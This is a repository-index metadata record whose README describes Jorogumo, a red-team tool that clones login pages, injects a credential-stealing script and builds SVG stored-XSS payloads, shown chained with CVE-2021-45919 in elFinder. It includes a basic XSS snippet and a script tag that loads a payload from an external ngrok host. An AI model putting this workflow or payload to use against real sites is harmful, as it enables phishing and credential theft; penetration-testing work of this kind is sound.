{"id":19909272,"url":"https://github.com/spiderlabs/jorogumo","last_synced_at":"2025-05-03T02:31:41.555Z","repository":{"id":229724351,"uuid":"621063057","full_name":"SpiderLabs/Jorogumo","owner":"SpiderLabs","description":"Red Team Stored XSS SVG phishing-companion tool with the ability to serve a malicious login page, or clone an html page and implement custom javascript. It then generates a relevant SVG.","archived":false,"fork":false,"pushed_at":"2023-03-31T22:12:20.000Z","size":24,"stargazers_count":25,"open_issues_count":1,"forks_count":9,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-04-07T10:35:49.916Z","etag":null,"topics":["cve-2021-45919","exploits","phishing","stored-xss-exploit"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SpiderLabs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2023-03-29T23:17:53.000Z","updated_at":"2025-03-31T00:50:13.000Z","dependencies_parsed_at":"2024-03-26T00:41:56.493Z","dependency_job_id":null,"html_url":"https://github.com/SpiderLabs/Jorogumo","commit_stats":null,"previous_names":["spiderlabs/jorogumo"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SpiderLabs%2FJorogumo","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SpiderLabs%2FJorogumo/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SpiderLabs%2FJorogumo/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SpiderLabs%2FJorogumo/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SpiderLabs","download_url":"https://codeload.github.com/SpiderLabs/Jorogumo/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252133732,"owners_count":21699588,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2021-45919","exploits","phishing","stored-xss-exploit"],"created_at":"2024-11-12T21:14:49.761Z","updated_at":"2025-05-03T02:31:41.303Z","avatar_url":"https://github.com/SpiderLabs.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Jorōgumo [ 絡新婦 ]\nA red team tool written in python for building SVG stored xss payloads, cloning webpages, or implementing custom javascript in pre-existing or cloned webpages.\n\nAuthor: johnjhacking\n\nASCII: w0rmer\n\n## Features\n![da12503cb7e54226a8e9f8164a6c0694](https://user-images.githubusercontent.com/39013067/228970400-306a5a8f-bcb8-45e1-9227-943e643136db.png)\n### Clone a webpage: \n\nCreates a local copy of the target webpage, which can be used for further customization or attack purposes.\n### Create a standalone SVG payload: \n\nGenerates a payload in SVG format, embedding a specified image URL and redirecting users to a specified URL upon interaction.\n### Stored Cross-Site Scripting SVG Credential Stealer: \n\nClones a login page and injects a script that captures user credentials, and then generates an SVG to be chained with a stored cross-site scripting vulnerability. When the stored cross-site scripting svg payload is triggered, it renders a 404 picture by default, or the custom picture entered by the user, and when clicked, redirects the user to the attacker's malicious login page, where the credential stealer will post credentials to a web request catcher or listener.\n### Build a webpage with existing JavaScript and HTML: \n\nTakes an existing HTML file and adds specified JavaScript code, either from a local file or a remote URL.\n### Build a webpage with existing JavaScript but no HTML: \n\nClones a webpage and adds specified JavaScript code, either from a local file or a remote URL, into the cloned webpage.\n### Custom JavaScript Stored Cross-Site Scripting SVG Payload: \n\nClones a webpage and adds specified JavaScript code, either from a local file or a remote URL, into the cloned webpage. Generates an SVG to be chained with a stored cross-site scripting vulnerability. When the stored cross-site scripting svg payload is triggered, it renders a 404 picture by default, or the custom picture entered by the user, and when clicked, redirects the user to the attacker's malicious page, where the custom javascript code will be executed.\n\n## Usage\n`git clone https://github.com/SpiderLabs/Jorogumo`\n\nInstall the required packages: \n\n`pip install -r requirements.txt`\n\nFollow the prompt and enter the requested input. Simple javascript code snippets are included in xss.js and cred-stealer.js in the payloads folder, which could be useful if you want to merge them into any of your existing html files for PoC purposes.\n\n## Limitations\n- The current version of this script is not built to handle capturing credentials that require 2FA.\n- Login forms that don't give you the ability to provide the `username` and `password` input prior to clicking any buttons are not supported. In otherwords, multi-action login forms are not supported in this iteration.\n- Some pages or login forms do not clone well, you'll have to keep this in mind when testing your pages to ensure that it looks okay. You could always remove uneccesary third-party elements.\n- Ensure that you're hosting on a domain with HTTPS enabled or you're probably going to have issues using the payloads.\n- Cross-Origin Read Blocking (CORB) is a thing, so you'll have better luck either implementing your javascript directly in the HTML or ensuring that the .js payload you want to use is hosted on your phishing domain and referenced as such. There's header and content workarounds, but i'd recommend the easy way from the jump.\n\n## Example of Stored Cross-Site Scripting SVG Credential Stealer\n**Note, I used the admin panel for the PoC since that's what I have the credentials for, in reality you'd want to clone the main-site login page instead**\n### Abusing [CVE-2021-45919](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/from-stored-xss-to-rce-using-beef-and-elfinder-cve-2021-45919/) [ Stored XSS in Elfinder through 2.1.31 ]\n\n#### Malicious SVG is Generated and uploaded to the Subrion admin panel using Elfinder\n![b20f44768b554b37b820f7c0941c4c2c](https://user-images.githubusercontent.com/39013067/228977314-a4760a7f-fa0c-42d2-978b-f4ace0af0420.png)\n\n#### Direct Link Hosted on Trusted Domain \u0026 Sent to User w/custom 404 page\n![a99b0cc85bce434e92ed3c1696bb8821](https://user-images.githubusercontent.com/39013067/228978059-e5c040dd-0821-47f6-b789-961df5a95f8e.png)\n\n#### Victim Clicks - Redirected to Cloned Admin Login\n![5895c779f65a40b8bac462569a5ebee9](https://user-images.githubusercontent.com/39013067/228976353-9b525831-5aa6-4e73-ba20-e4374b6b7196.png)\n\n#### Authentication Event Sends Credentials\n![6e0d4e0ffd7d40b599c81b64f5b9031f](https://user-images.githubusercontent.com/39013067/228978339-01cbe7da-46d2-4d4b-b065-a45d987e96f4.png)\n\n## Custom JS included in HTML\n![583d547a9c1c42e8b1d633ba7be7804d](https://user-images.githubusercontent.com/39013067/228978613-7b86739a-5512-4d6d-a047-c513ecec5132.png)\n\n#### Snippet of Code for Basic XSS included, and Externally Referenced .js\n```\n\u003cscript\u003e\nalert('Hacked');\n\u003c/script\u003e\n```\n```\n\u003cscript src=\"https://32bb-73-181-111-237.ngrok.io/xss.js\"\u003e\n\u003c/script\u003e\n```\nAs you can see, the tool uses regular script tags for local .js and script src for external.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fspiderlabs%2Fjorogumo","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fspiderlabs%2Fjorogumo","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fspiderlabs%2Fjorogumo/lists"}